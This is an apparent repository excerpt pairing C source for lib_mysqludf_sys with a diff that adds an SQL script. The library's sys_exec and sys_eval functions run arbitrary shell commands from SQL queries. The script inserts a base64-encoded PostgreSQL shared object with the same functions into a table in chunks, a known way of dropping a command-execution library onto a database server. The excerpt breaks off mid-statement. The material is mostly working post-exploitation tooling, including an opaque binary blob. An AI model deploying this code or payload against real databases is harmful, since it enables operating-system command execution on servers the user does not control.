This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen-1] = 0x00;
*length = strlen(result);
}
return result;
}
#endif /* HAVE_DLOPEN */

View File

@ -0,0 +1,97 @@
-- Notes:
--
-- The SO compiled using PostgreSQL 8.3 C libraries differs from the one
-- compiled using PostgreSQL 8.2 C libraries
--
-- SO compiled using PostgreSQL 8.3 C libraries
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- SO compiled using PostgreSQL 8.2 C libraries
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- Little hack to compress the shared object:
-- * Compile with -O1 the shared object
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data text);
-- Insert the base64 encoded UDF in the table
-- SO compiled using PostgreSQL 8.3 C libraries
INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ';
UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ';
UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-- SO compiled using PostgreSQL 8.2 C libraries
-- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
-- UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAA/ggAAH4AAAASAAsAaAAAADoHAADEAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAAClBwAACAAAAAggAAAIAAAAWwcAAAIPAAAXCQAAAg8AAHIHAAACCwAAlw';
-- UPDATE udftest SET data=data||'cAAAILAACPCAAAAgsAAC4JAAACCwAAhwcAAAIKAADYCAAAAgoAAEMJAAACCgAArQcAAAIBAADyBwAAAgUAABoIAAACBwAAQAgAAAIIAABWCAAAAg4AAO8IAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAxwQkAQAAAOj8////iYXY+///x0QkBNQJAACJHCTo/P///4mF3Pv//8eF4Pv//wAAAADrYY298Pv//7gAAAAAuf/////yronI99CNcP+LneD7//8B84lcJASLldj7//+JFCTo/P///4mF2Pv//4l0JAiNhfD7//+';
-- UPDATE udftest SET data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET 